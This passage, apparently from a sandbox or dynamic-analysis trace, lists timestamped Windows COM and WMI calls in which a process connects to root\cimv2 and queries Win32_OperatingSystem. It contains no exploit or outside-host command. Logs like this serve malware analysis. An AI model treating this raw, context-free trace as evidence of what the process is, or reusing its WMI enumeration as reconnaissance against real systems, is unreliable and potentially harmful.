This=0x1d218590, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218590) returned 0x0 [0298.970] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0298.970] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0298.971] WbemLocator:IUnknown:AddRef (This=0x1d218590) returned 0x3 [0298.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0298.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0298.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0298.971] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0298.971] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0298.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0298.971] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x2 [0298.971] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x1 [0298.971] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0298.971] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0298.971] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218590, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218590) returned 0x0 [0298.971] WbemLocator:IUnknown:AddRef (This=0x1d218590) returned 0x3 [0298.971] WbemLocator:IUnknown:Release (This=0x1d218590) returned 0x2 [0298.971] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0298.971] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0298.972] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0298.972] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d217fb0) returned 0x0 [0298.972] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d217fb0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d28fd20) returned 0x0 [0298.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fd20, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b2031b0) returned 0x0 [0298.990] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b2031b0, pProxy=0x1d28fd20, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0298.991] WbemLocator:IUnknown:Release (This=0x1b2031b0) returned 0x1 [0298.991] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fd20, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b2031f8) returned 0x0 [0298.991] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fd20, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b2031b0) returned 0x0 [0298.991] WbemLocator:IClientSecurity:SetBlanket (This=0x1b2031b0, pProxy=0x1d28fd20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0298.991] WbemLocator:IUnknown:Release (This=0x1b2031b0) returned 0x2 [0298.991] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0298.991] CoTaskMemFree (pv=0x1d1e6600) [0298.991] WbemLocator:IUnknown:Release (This=0x1d217fb0) returned 0x0 [0298.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fd20, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b2031f8) returned 0x0 [0298.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0298.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0298.993] WbemLocator:IUnknown:QueryInterface (in: This=0x1d28fd20, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0298.993] WbemLocator:IUnknown:AddRef (This=0x1b2031f8) returned 0x3 [0298.993] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0298.993] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0298.993] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b2030d8) returned 0x0 [0298.993] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2030d8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0298.993] WbemLocator:IUnknown:Release (This=0x1b2030d8) returned 0x3 [0298.993] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0298.993] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0298.993] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b2031c0) returned 0x0 [0298.994] WbemLocator:IRpcOptions:Query (in: This=0x1b2031c0, pPrx=0x1b2031f8, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0298.994] WbemLocator:IUnknown:Release (This=0x1b2031c0) returned 0x3 [0298.996] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x2 [0298.996] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0298.996] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0298.996] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d28fd20) returned 0x0 [0298.996] WbemLocator:IUnknown:AddRef (This=0x1d28fd20) returned 0x4 [0298.996] WbemLocator:IUnknown:Release (This=0x1d28fd20) returned 0x3 [0298.996] WbemLocator:IUnknown:Release (This=0x1d28fd20) returned 0x2 [0298.996] SysStringLen (param_1=0x0) returned 0x0 [0298.997] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0298.997] WbemLocator:IUnknown:AddRef (This=0x1b2031f8) returned 0x3 [0298.997] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b2031f8) returned 0x0 [0298.997] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x3 [0298.997] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x2 [0298.997] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0298.997] WbemLocator:IUnknown:AddRef (This=0x1d28fd20) returned 0x3 [0298.997] IWbemServices:ExecQuery (in: This=0x1d28fd20, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b287580) returned 0x0 [0299.014] IUnknown:QueryInterface (in: This=0x1b287580, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b287588) returned 0x0 [0299.015] IClientSecurity:QueryBlanket (in: This=0x1b287588, pProxy=0x1b287580, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0299.015] IUnknown:Release (This=0x1b287588) returned 0x1 [0299.015] IUnknown:QueryInterface (in: This=0x1b287580, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b202d18) returned 0x0 [0299.015] IUnknown:QueryInterface (in: This=0x1b287580, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b287588) returned 0x0 [0299.015] IClientSecurity:SetBlanket (This=0x1b287588, pProxy=0x1b287580, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0299.034] IUnknown:Release (This=0x1b287588) returned 0x2 [0299.034] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0299.034] CoTaskMemFree (pv=0x1d1e6600) [0299.034] IUnknown:QueryInterface (in: This=0x1b287580, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b202d18) returned 0x0 [0299.035] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0299.035] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0299.035] IUnknown:QueryInterface (in: This=0x1b287580, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0299.036] WbemLocator:IUnknown:AddRef (This=0x1b202d18) returned 0x3 [0299.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0299.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0299.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202bf8) returned 0x0 [0299.036] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202bf8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0299.036] WbemLocator:IUnknown:Release (This=0x1b202bf8) returned 0x3 [0299.036] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0299.036] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0299.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202ce0) returned 0x0 [0299.036] WbemLocator:IRpcOptions:Query (in: This=0x1b202ce0, pPrx=0x1b202d18, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0299.036] WbemLocator:IUnknown:Release (This=0x1b202ce0) returned 0x3 [0299.036] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x2 [0299.037] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0299.037] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0299.037] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b287580) returned 0x0 [0299.037] IUnknown:AddRef (This=0x1b287580) returned 0x4 [0299.037] IUnknown:Release (This=0x1b287580) returned 0x3 [0299.037] IUnknown:Release (This=0x1b287580) returned 0x2 [0299.037] WbemLocator:IUnknown:Release (This=0x1d28fd20) returned 0x2 [0299.037] SysStringLen (param_1=0x0) returned 0x0 [0299.037] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0299.037] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0299.037] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0299.037] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0299.037] IUnknown:AddRef (This=0x1b287580) returned 0x3 [0299.037] IEnumWbemClassObject:Clone (in: This=0x1b287580, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b2869b0) returned 0x0 [0299.040] IUnknown:QueryInterface (in: This=0x1b2869b0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b2869b8) returned 0x0 [0299.040] IClientSecurity:QueryBlanket (in: This=0x1b2869b8, pProxy=0x1b2869b0, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0299.040] IUnknown:Release (This=0x1b2869b8) returned 0x1 [0299.040] IUnknown:QueryInterface (in: This=0x1b2869b0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b203538) returned 0x0 [0299.040] IUnknown:QueryInterface (in: This=0x1b2869b0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b2869b8) returned 0x0 [0299.040] IClientSecurity:SetBlanket (This=0x1b2869b8, pProxy=0x1b2869b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0299.041] IUnknown:Release (This=0x1b2869b8) returned 0x2 [0299.041] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x1 [0299.041] CoTaskMemFree (pv=0x1d1e6f90) [0299.042] IUnknown:QueryInterface (in: This=0x1b2869b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b203538) returned 0x0 [0299.042] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0299.042] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0299.043] IUnknown:QueryInterface (in: This=0x1b2869b0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0299.043] WbemLocator:IUnknown:AddRef (This=0x1b203538) returned 0x3 [0299.043] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0299.043] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0299.043] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b203418) returned 0x0 [0299.043] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203418, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0299.043] WbemLocator:IUnknown:Release (This=0x1b203418) returned 0x3 [0299.043] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0299.043] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0299.043] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 